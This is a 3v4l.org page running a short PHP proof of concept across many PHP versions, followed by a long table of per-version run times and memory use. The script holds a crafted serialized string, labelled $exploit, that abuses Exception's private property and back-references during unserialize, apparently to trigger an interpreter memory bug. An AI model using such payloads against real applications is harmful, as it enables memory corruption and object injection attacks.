3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; //$exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;i:1;}}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0000.01916.49
8.3.50.0150.00421.10
8.3.40.0100.01018.88
8.3.30.0080.00818.79
8.3.20.0000.00720.29
8.3.10.0040.00423.52
8.3.00.0000.00819.66
8.2.180.0150.00316.88
8.2.170.0140.00022.96
8.2.160.0070.00720.35
8.2.150.0080.00024.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0070.00317.63
8.2.110.0030.00622.21
8.2.100.0040.00817.72
8.2.90.0040.00419.08
8.2.80.0000.00917.97
8.2.70.0000.00817.63
8.2.60.0110.00017.91
8.2.50.0000.00918.07
8.2.40.0080.00019.20
8.2.30.0060.00319.69
8.2.20.0040.00417.57
8.2.10.0000.00717.98
8.2.00.0000.00718.04
8.1.280.0140.00025.92
8.1.270.0090.00920.32
8.1.260.0080.00026.35
8.1.250.0000.00728.09
8.1.240.0030.01122.07
8.1.230.0080.00321.03
8.1.220.0060.00317.76
8.1.210.0000.00818.77
8.1.200.0000.00917.35
8.1.190.0040.00417.23
8.1.180.0080.00018.10
8.1.170.0030.00618.49
8.1.160.0040.00421.95
8.1.150.0040.00418.88
8.1.140.0040.00417.40
8.1.130.0000.00717.65
8.1.120.0000.00717.38
8.1.110.0070.00017.30
8.1.100.0040.00417.40
8.1.90.0030.00517.43
8.1.80.0040.00417.27
8.1.70.0000.00717.42
8.1.60.0040.00417.43
8.1.50.0000.00817.55
8.1.40.0050.00317.52
8.1.30.0030.00617.55
8.1.20.0030.00517.72
8.1.10.0080.00017.46
8.1.00.0000.00817.56
8.0.300.0070.00018.77
8.0.290.0040.00416.75
8.0.280.0080.00018.50
8.0.270.0000.00717.18
8.0.260.0050.00317.26
8.0.250.0000.00717.06
8.0.240.0030.00317.10
8.0.230.0040.00416.93
8.0.220.0060.00316.87
8.0.210.0030.00316.97
8.0.200.0030.00317.01
8.0.190.0080.00017.04
8.0.180.0040.00416.93
8.0.170.0000.00816.95
8.0.160.0040.00417.04
8.0.150.0070.00016.76
8.0.140.0040.00416.92
8.0.130.0030.00313.44
8.0.120.0080.00016.84
8.0.110.0040.00416.87
8.0.100.0050.00316.93
8.0.90.0050.00317.01
8.0.80.0060.00916.95
8.0.70.0000.00716.93
8.0.60.0000.00716.79
8.0.50.0080.00016.96
8.0.30.0070.00817.05
8.0.20.0100.01217.40
8.0.10.0000.00717.09
8.0.00.0080.00916.78
7.4.330.0030.00415.08
7.4.320.0040.00416.58
7.4.300.0030.00316.50
7.4.290.0050.00316.43
7.4.280.0000.00816.41
7.4.270.0050.00216.42
7.4.260.0100.00316.50
7.4.250.0030.00516.50
7.4.240.0030.00316.51
7.4.230.0040.00416.57
7.4.220.0070.01116.65
7.4.210.0050.00916.59
7.4.200.0000.00716.34
7.4.160.0110.00516.40
7.4.150.0070.01117.40
7.4.140.0080.01217.86
7.4.130.0080.01316.41
7.4.120.0080.01016.51
7.4.110.0100.00716.48
7.4.100.0130.01016.46
7.4.90.0060.01216.41
7.4.80.0110.01119.39
7.4.70.0030.01316.65
7.4.60.0100.00616.40
7.4.50.0050.00016.45
7.4.40.0140.00316.63
7.4.30.0040.01516.57
7.4.00.0040.01414.99
7.3.330.0020.00213.31
7.3.320.0050.00013.25
7.3.310.0030.00316.34
7.3.300.0000.00716.26
7.3.290.0040.00416.40
7.3.280.0120.00616.39
7.3.270.0120.00617.40
7.3.260.0030.01416.32
7.3.250.0100.00716.46
7.3.240.0170.00316.49
7.3.230.0060.01216.41
7.3.210.0080.00816.47
7.3.200.0090.00616.32
7.3.190.0070.01516.64
7.3.180.0080.00816.36
7.3.170.0060.00916.43
7.3.160.0100.00616.33
7.2.330.0100.00716.52
7.2.320.0070.01416.53
7.2.310.0080.01316.54
7.2.300.0120.00616.69
7.2.290.0120.00416.49
7.2.80.0030.01016.68
7.2.60.0080.00816.45
7.2.00.0220.01019.14
7.1.200.0100.00015.53
7.1.100.0070.01117.82
7.1.70.0000.00717.12
7.1.60.0040.00819.27
7.1.50.0110.01117.02
7.1.00.0070.07022.35
7.0.200.0190.00316.55
7.0.60.0130.05719.83
7.0.50.0030.06717.85
7.0.40.0200.07020.04
7.0.30.0270.04720.26
7.0.20.0230.06720.07
7.0.10.0200.07020.10
7.0.00.0130.08320.10
5.6.280.0000.07321.03
5.6.210.0070.04020.77
5.6.200.0070.08018.22
5.6.190.0100.08320.48
5.6.180.0400.07320.41
5.6.170.0200.07320.51
5.6.160.0000.07020.49
5.6.150.0000.09318.18
5.6.140.0030.08318.12
5.6.130.0000.04318.17
5.6.120.0070.09020.90
5.6.110.0100.05320.96
5.6.100.0070.09020.95
5.6.90.0030.08320.95
5.6.80.0070.06320.40
5.6.70.4370.04020.39
5.5.350.0130.03020.41
5.5.340.0100.04717.96
5.5.330.0030.08720.41
5.5.320.0430.07020.35
5.5.310.0230.08020.37
5.5.300.0070.06718.03
5.5.290.0100.08018.01
5.5.280.0130.08020.73
5.5.270.0130.06320.79
5.5.260.0130.07020.85
5.5.250.0070.08020.59
5.5.240.0100.06720.16
5.4.450.0200.05319.58
5.4.440.0330.04319.37
5.4.430.0200.05719.10
5.4.420.0200.05319.10
5.4.410.0170.05719.55
5.4.400.0200.05019.05
5.4.390.0230.04719.01
5.4.380.0270.05319.07
5.4.370.0230.04319.04
5.4.360.0200.05318.77
5.4.350.0130.05719.04
5.4.340.0170.08319.25
5.4.320.0130.05718.77
5.4.310.0170.05018.96
5.4.300.0200.05019.01
5.4.290.0200.04719.33
5.4.280.0300.04019.27
5.4.270.0170.05019.01
5.4.260.0200.04719.00
5.4.250.0270.04319.21
5.4.240.0300.05719.00
5.4.230.0170.05318.95
5.4.220.0170.05719.23
5.4.210.0170.05719.26
5.4.200.0230.04719.25
5.4.190.0200.05319.05
5.4.180.0230.04719.03
5.4.170.0230.04718.95
5.4.160.0200.05019.12
5.4.150.0170.06019.33
5.4.140.0230.07016.50
5.4.130.0270.06716.54
5.4.120.0270.04716.39
5.4.110.0230.07316.52
5.4.100.0130.05316.60
5.4.90.0170.05016.57
5.4.80.0070.05716.45
5.4.70.0230.05716.38
5.4.60.0300.05316.33
5.4.50.0030.06316.52
5.4.40.0000.06016.41
5.4.30.0030.04716.53
5.4.20.0270.06716.50

preferences:
60.44 ms | 401 KiB | 5 Q